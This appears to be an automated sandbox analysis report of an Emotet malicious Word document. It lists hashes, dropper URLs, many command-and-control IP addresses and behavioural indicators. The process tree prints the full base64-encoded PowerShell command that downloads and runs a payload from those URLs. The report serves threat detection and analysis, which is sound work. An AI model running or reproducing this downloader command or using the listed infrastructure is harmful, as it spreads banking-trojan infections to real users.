emotet | a07b4b70e44a67ef59e7bffe9f8765f449f5e739d25ad9c49f88d65607e38f42

Analysis

max time kernel
135s
max time network
157s
platform
windows10_x64
resource
win10
submitted
20/08/2020, 01:29

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General

Target
emotet_e1_a07b4b70e44a67ef59e7bffe9f8765f449f5e739d25ad9c49f88d65607e38f42_2020-08-20__012740._doc.doc
Size 196KB
Sample200820-76jvrkqdm2
SHA256 a07b4b70e44a67ef59e7bffe9f8765f449f5e739d25ad9c49f88d65607e38f42
MD5 19d2ee8e9bd407a16143a4ba4671fc3f
SHA1 6fabec68d9aaf79c4533d9aba3d2d229c6d9094b
SHA512 854cc88dd0f1f3edba8264750eec8a69095d99e311166cdc2308da22ceaed368d8003e72854ca80bc4861ba7a737bc7f100376fc788460856c694bdcd99f0296
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://mealsandwheels.com/backup/3E/
exe.dropper
http://evandijk.eu/4fd2c798720871f16/k/
exe.dropper
http://iseler.net/allmyguests041/BQ/
exe.dropper
http://locuspura.com/cgi-bin/P/
exe.dropper
http://posmarkt.com/zebra/d/
exe.dropper
http://lyndas-orlando-villa.com/Images/N/
exe.dropper
http://ing-buero-naujok.de/cgi-bin/kVA/

Extracted

Family

emotet

65.36.62.20:80
209.126.6.222:8080
5.153.250.14:8080
204.225.249.100:7080
77.90.136.129:8080
185.94.252.27:443
85.105.140.135:443
83.169.21.32:7080
190.190.148.27:8080
185.94.252.12:80
116.125.120.88:443
190.115.18.139:8080
61.92.159.208:8080
24.148.98.177:80
212.93.117.170:80
91.219.169.180:80
73.116.193.136:80
87.106.46.107:8080
187.162.248.237:80
70.32.115.157:8080
188.135.15.49:80
149.62.173.247:8080
190.6.193.152:8080
81.129.198.57:80
190.128.173.10:80
172.104.169.32:8080
68.183.190.199:8080
89.32.150.160:8080
95.9.180.128:80
178.79.163.131:8080
213.60.96.117:80
94.206.45.18:80
217.199.160.224:7080
73.213.208.163:80
143.0.87.101:80
104.131.103.37:8080
5.196.35.138:7080
202.4.57.96:80
77.55.211.77:8080
188.2.217.94:80
51.255.165.160:8080
46.28.111.142:7080
111.67.12.221:8080
177.73.0.98:443
94.176.234.118:443
45.33.77.42:8080
177.74.228.34:80
192.241.143.52:8080
181.129.96.162:8080
190.163.31.26:80
58.171.153.81:80
174.100.27.229:80
190.147.137.153:443
82.163.245.38:80
45.161.242.102:80
91.222.77.105:80
137.74.106.111:7080
209.236.123.42:8080
177.72.13.80:80
70.32.84.74:8080
191.182.6.118:80
212.71.237.140:8080
82.76.111.249:443
189.2.177.210:443
219.92.13.25:80
51.159.23.217:443
24.135.198.218:80
186.103.141.250:443
178.250.54.208:8080
95.85.151.205:80
192.241.146.84:8080
213.176.36.147:8080
50.28.51.143:8080
185.33.0.233:80
114.109.179.60:80
67.247.242.247:80
104.131.41.185:8080
80.249.176.206:80
190.195.129.227:8090
191.99.160.58:80
45.173.88.33:80
2.47.112.152:80
186.70.127.199:8090
207.144.103.227:80
72.47.248.48:7080
82.196.15.205:8080
24.135.1.177:80
201.171.150.41:443
152.169.22.67:80
170.81.48.2:80
68.183.170.114:8080
217.13.106.14:8080
186.250.52.226:8080
12.162.84.2:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2760	1908	powersheLL.exe	68

Emotet Payload 5 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3096-18-0x0000000000690000-0x000000000069C000-memory.dmp	emotet
behavioral2/memory/3096-18-0x0000000000690000-0x000000000069C000-memory.dmp	emotet
behavioral2/memory/412-21-0x0000000000590000-0x000000000059C000-memory.dmp	emotet
behavioral2/memory/412-21-0x0000000000590000-0x000000000059C000-memory.dmp	emotet
behavioral2/memory/3096-23-0x0000000000000000-mapping.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
7	2760	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3096	Ben6q6ae.exe
412	FSClient.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\FirewallControlPanel\FSClient.exe	Ben6q6ae.exe

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1380	3096	WerFault.exe	73

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2896	WINWORD.EXE
2896	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 24 IoCs

pid	Process
2760	powersheLL.exe
2760	powersheLL.exe
2760	powersheLL.exe
412	FSClient.exe
412	FSClient.exe
1380	WerFault.exe
1380	WerFault.exe
1380	WerFault.exe
1380	WerFault.exe
1380	WerFault.exe
1380	WerFault.exe
1380	WerFault.exe
1380	WerFault.exe
1380	WerFault.exe
1380	WerFault.exe
1380	WerFault.exe
1380	WerFault.exe
1380	WerFault.exe
1380	WerFault.exe
1380	WerFault.exe
412	FSClient.exe
412	FSClient.exe
412	FSClient.exe
412	FSClient.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2760	powersheLL.exe
Token: SeRestorePrivilege	1380	WerFault.exe
Token: SeBackupPrivilege	1380	WerFault.exe
Token: SeDebugPrivilege	1380	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
2896	WINWORD.EXE
2896	WINWORD.EXE
2896	WINWORD.EXE
2896	WINWORD.EXE
2896	WINWORD.EXE
2896	WINWORD.EXE
2896	WINWORD.EXE
2896	WINWORD.EXE
2896	WINWORD.EXE
3096	Ben6q6ae.exe
3096	Ben6q6ae.exe
412	FSClient.exe
412	FSClient.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2760 wrote to memory of 3096	2760	powersheLL.exe	73
PID 2760 wrote to memory of 3096	2760	powersheLL.exe	73
PID 2760 wrote to memory of 3096	2760	powersheLL.exe	73
PID 3096 wrote to memory of 412	3096	Ben6q6ae.exe	75
PID 3096 wrote to memory of 412	3096	Ben6q6ae.exe	75
PID 3096 wrote to memory of 412	3096	Ben6q6ae.exe	75

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_a07b4b70e44a67ef59e7bffe9f8765f449f5e739d25ad9c49f88d65607e38f42_2020-08-20__012740._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2896

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABHAHUAZwAxAHAAdgB4AD0AKAAnAEoAaQBmADMAdQBxACcAKwAnAHAAJwApADsALgAoACcAbgBlAHcAJwArACcALQBpACcAKwAnAHQAZQBtACcAKQAgACQAZQBOAHYAOgB0AGUAbQBQAFwAbwBmAGYAaQBjAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAHIARQBDAHQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAYABFAGAAYwB1AHIASQBUAGAAeQBwAHIAYABvAFQAbwBjAG8AbAAiACAAPQAgACgAJwB0AGwAcwAxADIALAAgAHQAbABzACcAKwAnADEAJwArACcAMQAnACsAJwAsACcAKwAnACAAdAAnACsAJwBsAHMAJwApADsAJABTAGoAaQB5AHoAZgBmACAAPQAgACgAJwBCAGUAJwArACcAbgA2ACcAKwAnAHEANgBhAGUAJwApADsAJABZAG0AbwBwADcAMQA4AD0AKAAnAEwAJwArACcAegA3ADMAbABiACcAKwAnAHAAJwApADsAJABaADUAYgBjAHEAMwA0AD0AJABlAG4AdgA6AHQAZQBtAHAAKwAoACgAJwB7ADAAfQBPAGYAJwArACcAZgBpAGMAJwArACcAZQAyADAAMQA5ACcAKwAnAHsAMAB9ACcAKQAgACAALQBmACAAWwBDAGgAQQByAF0AOQAyACkAKwAkAFMAagBpAHkAegBmAGYAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAE4AMQBpAHgAYQA3AGsAPQAoACcATwB4AHUANAAnACsAJwBsACcAKwAnAGQAbwAnACkAOwAkAFAAZAB2AG0AeQByADgAPQAuACgAJwBuAGUAJwArACcAdwAtAG8AYgBqACcAKwAnAGUAYwB0ACcAKQAgAE4ARQB0AC4AdwBFAEIAQwBsAEkARQBuAFQAOwAkAFgAcQBvAGMAeQB5AHUAPQAoACcAaAB0AHQAcAA6AC8ALwAnACsAJwBtAGUAYQBsAHMAYQBuAGQAdwBoAGUAZQBsAHMAJwArACcALgBjAG8AJwArACcAbQAnACsAJwAvACcAKwAnAGIAYQBjACcAKwAnAGsAdQBwACcAKwAnAC8AMwBFAC8AKgBoAHQAJwArACcAdAAnACsAJwBwACcAKwAnADoALwAvAGUAdgBhACcAKwAnAG4AZABpAGoAawAuAGUAdQAvADQAZgBkADIAYwA3ADkAOAA3ADIAJwArACcAMAA4ACcAKwAnADcAMQBmADEANgAvAGsALwAqAGgAdAAnACsAJwB0AHAAOgAvAC8AaQBzAGUAbABlAHIALgBuAGUAdAAvACcAKwAnAGEAbABsACcAKwAnAG0AeQBnAHUAZQBzAHQAcwAwADQAMQAvAEIAUQAvACoAaAB0AHQAJwArACcAcAA6AC8ALwBsAG8AYwB1AHMAJwArACcAcAAnACsAJwB1AHIAYQAuACcAKwAnAGMAbwBtAC8AYwBnAGkALQBiACcAKwAnAGkAJwArACcAbgAvAFAALwAqAGgAdAB0AHAAOgAvAC8AcABvAHMAbQBhAHIAawB0ACcAKwAnAC4AYwBvAG0ALwB6ACcAKwAnAGUAYgByAGEALwBkAC8AKgBoAHQAdAAnACsAJwBwADoALwAvAGwAeQBuAGQAJwArACcAYQBzACcAKwAnAC0AJwArACcAbwByAGwAJwArACcAYQAnACsAJwBuAGQAbwAtAHYAaQBsAGwAYQAuAGMAbwBtAC8AJwArACcASQBtAGEAZwBlACcAKwAnAHMALwAnACsAJwBOAC8AJwArACcAKgBoAHQAdABwADoALwAvAGkAbgBnACcAKwAnAC0AYgB1AGUAcgBvAC0AbgBhAHUAagBvAGsALgBkAGUALwBjAGcAaQAtAGIAaQBuACcAKwAnAC8AJwArACcAawBWACcAKwAnAEEALwAnACkALgAiAHMAYABwAEwAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAQgBjAHMAaQBpAGUAcwA9ACgAJwBHAGcAZQAzACcAKwAnAHQAOAAxACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEIAMgBfADkAcQA5AGIAIABpAG4AIAAkAFgAcQBvAGMAeQB5AHUAKQB7AHQAcgB5AHsAJABQAGQAdgBtAHkAcgA4AC4AIgBkAG8AdwBOAGwAbwBgAEEAYABEAGYAaQBsAGUAIgAoACQAQgAyAF8AOQBxADkAYgAsACAAJABaADUAYgBjAHEAMwA0ACkAOwAkAFkAeAA5AGUANABzAHgAPQAoACcAQgB1ACcAKwAnADYAagBmAGQAawAnACkAOwBJAGYAIAAoACgAJgAoACcARwBlAHQAJwArACcALQBJAHQAJwArACcAZQBtACcAKQAgACQAWgA1AGIAYwBxADMANAApAC4AIgBMAGAAZQBuAGcAYABUAEgAIgAgAC0AZwBlACAAMgA2ADkANQAxACkAIAB7AC4AKAAnAEkAbgB2AG8AawBlACcAKwAnAC0ASQB0AGUAJwArACcAbQAnACkAKAAkAFoANQBiAGMAcQAzADQAKQA7ACQASQAxAGoAdQBoADAAbwA9ACgAJwBTACcAKwAnAG8ANgAyAHMAJwArACcAbQB5ACcAKQA7AGIAcgBlAGEAawA7ACQATQA3AHkAZgBqADIAdQA9ACgAJwBMAGYAJwArACcAegBrAGoAbgBmACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVQByAGgAZwByAHQAMgA9ACgAJwBPADgAJwArACcAZABkADQAJwArACcAbAB1ACcAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2760
- C:\Users\Admin\AppData\Local\Temp\Office2019\Ben6q6ae.exe
  "C:\Users\Admin\AppData\Local\Temp\Office2019\Ben6q6ae.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3096
- - C:\Windows\SysWOW64\FirewallControlPanel\FSClient.exe
    "C:\Windows\SysWOW64\FirewallControlPanel\FSClient.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:412
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3096 -s 452
    3⤵
    - Program crash
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1380

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/412-21-0x0000000000590000-0x000000000059C000-memory.dmp

Download

memory/1380-24-0x0000000005810000-0x0000000005811000-memory.dmp

Download

memory/1380-22-0x0000000004F00000-0x0000000004F01000-memory.dmp

Download

memory/2760-12-0x00007FFBEB5A0000-0x00007FFBEBF8C000-memory.dmp

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memory/2760-14-0x00000252480D0000-0x00000252480D1000-memory.dmp

Download

memory/2760-13-0x0000025247EB0000-0x0000025247EB1000-memory.dmp

Download

memory/2896-6-0x000002298F4B9000-0x000002298F4BA000-memory.dmp

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memory/2896-0-0x00007FFBF3170000-0x00007FFBF3836000-memory.dmp

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memory/2896-10-0x000002298F41D000-0x000002298F428000-memory.dmp

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memory/2896-9-0x000002298F4BA000-0x000002298F4BF000-memory.dmp

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memory/2896-8-0x000002298F4BA000-0x000002298F4BF000-memory.dmp

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memory/2896-1-0x000002298F2CC000-0x000002298F2D1000-memory.dmp

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memory/2896-7-0x000002298F4B8000-0x000002298F4B9000-memory.dmp

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memory/2896-11-0x000002298F41D000-0x000002298F428000-memory.dmp

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memory/2896-2-0x000002298F2CC000-0x000002298F2D1000-memory.dmp

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memory/2896-5-0x000002298CDD0000-0x000002298CDD2000-memory.dmp

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memory/2896-4-0x000002298F2CB000-0x000002298F2CC000-memory.dmp

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memory/2896-3-0x000002298F2CC000-0x000002298F2D1000-memory.dmp

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memory/3096-18-0x0000000000690000-0x000000000069C000-memory.dmp

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